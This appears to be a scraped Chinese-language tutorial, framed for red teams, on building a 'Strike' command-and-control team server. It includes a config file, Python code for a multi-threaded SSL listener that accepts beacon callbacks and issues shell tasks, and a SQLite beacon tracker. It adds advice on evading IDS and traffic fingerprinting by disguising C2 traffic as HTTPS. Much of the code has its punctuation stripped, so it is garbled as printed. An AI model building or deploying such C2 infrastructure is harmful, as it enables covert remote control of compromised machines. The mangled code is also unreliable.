Strike 服务端运行所需的全部核心文件,用于搭建团队服务器(C服务器),支持 Beacon 客户端回连与 C 通信。 文件/目 ...

发布时间:2026/7/31 14:54:13

Strike 服务端运行所需的全部核心文件,用于搭建团队服务器(C服务器),支持 Beacon 客户端回连与 C 通信。 文件/目 ... Strike 服务端运行所需的全部核心文件搭建团队C2服务器的完整指南在红队演练或渗透测试中搭建一个稳定、隐蔽的C2Command and Control服务器至关重要。Strike 是一个轻量级且功能强大的C2框架其服务端通常称为“团队服务器”或C服务器通过一系列核心文件实现与Beacon客户端的回连通信。本文将深入解析Strike服务端的全部核心文件结构、配置逻辑以及通信机制并附带可运行的代码示例帮助你在实战中快速部署自己的C2基础设施。## 1. 核心文件目录结构一个典型的Strike服务端项目目录如下strike-server/├── server.py # 主服务器入口处理Beacon连接├── config.json # 全局配置文件含监听端口、加密密钥等├── beacon_handler.py # Beacon会话管理模块├── crypto_utils.py # 加密工具AES/RSA通信加密├── task_queue.py # 任务队列存储待发送到Beacon的命令├── data/ # 持久化存储目录│ ├── beacons.db # SQLite数据库存储Beacon元数据│ └── logs/ # 操作日志文件夹├── modules/ # 扩展模块目录后渗透插件│ ├── shell.py # 交互式Shell模块│ └── file_manager.py # 文件管理模块└── requirements.txt # Python依赖列表每个文件都有明确的职责划分确保服务器能高效处理Beacon的心跳、任务下发和数据回传。## 2. 核心文件详解与代码实现### 2.1config.json服务器配置根基配置文件是所有通信的基础。它定义了监听地址、端口、加密密钥以及心跳超时等参数。json{ listener: { host: 0.0.0.0, port: 443, ssl_enabled: true, ssl_cert: server.crt, ssl_key: server.key }, crypto: { aes_key: AES256KeyExample1234567890ABCDEF, rsa_public_key: public.pem, rsa_private_key: private.pem }, beacon: { heartbeat_interval: 30, jitter: 5, timeout: 120 }, database: data/beacons.db}-listener服务器监听的IP和端口。使用SSL加密通信可绕过部分IDS检测。-cryptoAES密钥用于对称加密Beacon回传数据RSA密钥用于初始密钥交换。-beacon心跳间隔和抖动值防止流量指纹超时时间用于清理失联Beacon。### 2.2server.py主入口——处理Beacon连接这是服务器的核心负责启动监听套接字、接收Beacon的初始连接并分发任务。python#!/usr/bin/env python3# -*- coding: utf-8 -*-import socketimport sslimport jsonimport threadingfrom beacon_handler import BeaconHandlerfrom crypto_utils import CryptoUtilsclass StrikeServer: def __init__(self, config_pathconfig.json): # 加载配置文件 with open(config_path, r) as f: self.config json.load(f) self.crypto CryptoUtils( self.config[crypto][aes_key], self.config[crypto][rsa_private_key] ) self.beacon_handler BeaconHandler(self.config[database]) def start(self): 启动SSL加密的TCP监听服务器 listener_config self.config[listener] raw_socket socket.socket(socket.AF_INET, socket.SOCK_STREAM) raw_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) raw_socket.bind((listener_config[host], listener_config[port])) raw_socket.listen(5) # 创建SSL上下文 context ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.load_cert_chain( certfilelistener_config[ssl_cert], keyfilelistener_config[ssl_key] ) print(f[*] Strike Server listening on {listener_config[host]}:{listener_config[port]}) while True: client_socket, addr raw_socket.accept() # 包装为SSL连接 ssl_client context.wrap_socket(client_socket, server_sideTrue) # 每个Beacon连接由独立线程处理 client_thread threading.Thread( targetself.handle_beacon_connection, args(ssl_client, addr) ) client_thread.start() def handle_beacon_connection(self, client_socket, addr): 处理单个Beacon的通信逻辑 try: # 接收Beacon的初始握手数据RSA加密的AES密钥 encrypted_key client_socket.recv(4096) aes_key self.crypto.rsa_decrypt(encrypted_key) # 发送确认并注册Beacon client_socket.send(bACK) beacon_id self.beacon_handler.register_beacon(addr[0]) # 进入心跳循环 while True: # 接收加密的心跳数据 encrypted_data client_socket.recv(4096) if not encrypted_data: break # 解密并处理 decrypted self.crypto.aes_decrypt(encrypted_data, aes_key) response self.process_beacon_data(beacon_id, decrypted) # 加密回复例如待执行的任务 encrypted_response self.crypto.aes_encrypt(response, aes_key) client_socket.send(encrypted_response) except Exception as e: print(f[!] Connection error from {addr}: {e}) finally: client_socket.close() self.beacon_handler.set_beacon_offline(beacon_id) def process_beacon_data(self, beacon_id, data): 解析Beacon回传数据并返回任务 # 这里简化处理返回一个whoami命令 return json.dumps({task: shell, command: whoami})if __name__ __main__: server StrikeServer() server.start()代码解析- 使用SSL包装原始TCP套接字实现加密通信。- 每个Beacon连接使用独立线程避免阻塞。-handle_beacon_connection处理RSA密钥交换和AES会话加密。-process_beacon_data根据Beacon回传数据如系统信息返回对应任务。### 2.3beacon_handler.pyBeacon状态管理该模块负责Beacon的注册、状态跟踪和数据库持久化。python#!/usr/bin/env python3# -*- coding: utf-8 -*-import sqlite3import uuidimport datetimeclass BeaconHandler: def __init__(self, db_path): self.db_path db_path self._init_database() def _init_database(self): 初始化SQLite数据库创建beacons表 conn sqlite3.connect(self.db_path) cursor conn.cursor() cursor.execute( CREATE TABLE IF NOT EXISTS beacons ( id TEXT PRIMARY KEY, ip_address TEXT, os_info TEXT, first_seen TIMESTAMP, last_seen TIMESTAMP, status TEXT DEFAULT online ) ) conn.commit() conn.close() def register_beacon(self, ip_address, os_infoUnknown): 注册新Beacon并返回唯一ID beacon_id str(uuid.uuid4()) now datetime.datetime.utcnow() conn sqlite3.connect(self.db_path) cursor conn.cursor() cursor.execute( INSERT INTO beacons (id, ip_address, os_info, first_seen, last_seen) VALUES (?, ?, ?, ?, ?) , (beacon_id, ip_address, os_info, now, now)) conn.commit() conn.close() print(f[] New beacon registered: {beacon_id} from {ip_address}) return beacon_id def update_beacon_heartbeat(self, beacon_id): 更新Beacon的最后心跳时间 now datetime.datetime.utcnow() conn sqlite3.connect(self.db_path) cursor conn.cursor() cursor.execute( UPDATE beacons SET last_seen ? WHERE id ? , (now, beacon_id)) conn.commit() conn.close() def set_beacon_offline(self, beacon_id): 将Beacon标记为离线 conn sqlite3.connect(self.db_path) cursor conn.cursor() cursor.execute( UPDATE beacons SET status offline WHERE id ? , (beacon_id,)) conn.commit() conn.close() print(f[-] Beacon {beacon_id} went offline) def get_online_beacons(self): 获取所有在线Beacon列表 conn sqlite3.connect(self.db_path) cursor conn.cursor() cursor.execute(SELECT * FROM beacons WHERE status online) beacons cursor.fetchall() conn.close() return beacons代码解析- 使用SQLite存储Beacon元数据包括IP、操作系统、上线时间等。-register_beacon生成UUID作为唯一标识确保每个Beacon可被追踪。- 通过心跳更新维持在线状态超时后自动标记离线。## 3. 通信流程与任务下发Strike服务端与Beacon的通信遵循以下步骤1.初始握手Beacon使用内置的RSA公钥加密一个随机的AES密钥发送给服务端。 服务端用私钥解密存储该AES密钥用于后续会话。2.心跳维持Beacon每隔30秒可配置发送加密的心跳包。 服务端收到后更新数据库中的last_seen字段并返回待执行的任务如执行命令、上传文件。3.任务队列操作员通过管理端如Web界面向特定Beacon下发任务任务被存储到task_queue.py中。 Beacon下次心跳时拉取任务执行后加密回传结果。## 4. 实战部署建议-隐蔽性使用非标准端口如443、8443配合SSL证书伪装成HTTPS流量。-持久化将data/目录挂载到持久化存储如Docker卷防止重启丢失Beacon记录。-日志审计在data/logs/中记录所有操作便于事后分析。-模块扩展将后渗透工具如端口扫描、提权脚本放入modules/目录通过任务队列动态加载。## 总结本文从实战角度拆解了Strike服务端的核心文件结构包括配置管理、加密通信、Beacon状态管理和任务下发机制。通过server.py和beacon_handler.py两个可运行的代码示例演示了如何构建一个支持SSL加密、多线程处理、数据库持久化的C2服务器。搭建这样一个团队服务器你需要重点关注-配置文件初始化AES/RSA密钥和监听参数。-加密模块确保通信数据无法被中间人窃取。-会话管理通过数据库跟踪Beacon状态防止僵尸Beacon占用资源。掌握这些核心文件你就能快速搭建自己的Strike团队服务器为红队演练提供稳定、高效的C2基础设施。

相关新闻